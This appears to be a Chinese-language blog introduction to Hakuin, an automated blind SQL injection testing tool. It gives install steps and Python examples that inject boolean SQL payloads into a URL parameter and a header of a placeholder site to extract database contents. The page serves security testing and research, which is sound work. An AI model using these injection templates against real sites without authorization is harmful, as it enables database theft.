Hakuin:一款自动化SQL盲注(BSQLI)安全检测工具

关于Hakuin

Hakuin是一款功能强大的SQL盲注漏洞安全检测工具,该工具专门针对BSQLi设计,可以帮助广大研究人员优化BSQLi测试用例,并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。

该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测,并采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测和并行性机制等。

工具安装

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

复制代码
git clone https://github.com/pruzko/hakuin.git

然后切换到项目目录中,并执行安装命令:

复制代码
cd hakuin

pip3 install -e .

pip安装

除此之外,我们还可以直接使用pip3命令安装Hakuin:

复制代码
pip3 install hakuin

工具使用

Hakuin附带一个简单的封装工具,hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息,请运行:

复制代码
python3 hk.py -h

使用样例

基于状态推断的查询参数注入检测

复制代码
import aiohttp

from hakuin import Requester

 

class StatusRequester(Requester):

    async def request(self, ctx, query):

        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')

        return r.status == 200

基于内容推断的Header注入检测

复制代码
class ContentRequester(Requester):

    async def request(self, ctx, query):

        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}

        r = await aiohttp.get(f'http://vuln.com/', headers=headers)

        return 'found' in await r.text()

尝试提取SQLite/MySQL/PSQL/MSSQL数据

复制代码
import asyncio

from hakuin import Extractor, Requester

from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

 

class StatusRequester(Requester):

    ...

 

async def main():

    # requester:    Use this Requester

    # dbms:         Use this DBMS

    # n_tasks:      Spawns N tasks that extract column rows in parallel

    ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)

    ...

 

if __name__ == '__main__':

    asyncio.get_event_loop().run_until_complete(main())

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

Hakuin :【GitHub传送门

参考资料

https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection

Hakuin: Injecting Brains Into Blind SQL Injection - HITBSecConf2023 - Phuket

https://wootconference.org/papers/woot23-paper17.pdf

相关推荐
小陈工4 分钟前
数据库Operator开发实战:以PostgreSQL为例
开发语言·数据库·人工智能·python·安全·postgresql·开源
正在走向自律43 分钟前
KingbaseES 基础 SQL 语法与日常运维实操手册
运维·数据库·sql·kingbasees
CDN3601 小时前
【前端进阶】告别“慢”与“不安全”:我是如何用360CDN搞定API加速和HTTPS的
前端·安全·https
AKA__Zas1 小时前
初识 事务
java·开发语言·数据库·sql
程序猿阿伟1 小时前
《QClaw隐藏的GitHub自动化神级用法》
运维·自动化·github
xyyaihxl1 小时前
【SQL技术】不同数据库引擎 SQL 优化方案剖析
数据库·sql
北风toto2 小时前
深入解析JWT Token生成原理与安全加密技术详解
算法·安全·哈希算法
Y学院3 小时前
第一章 网络安全认知觉醒:从“事不关己”到“人人有责” 第一节 你以为的安全,都是致命的错觉
安全·web安全
一名优秀的码农3 小时前
vulhub系列-69-Keyring(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Y学院3 小时前
当数字世界不再安全:2026,我们正站在网络安全的悬崖边
人工智能·安全·web安全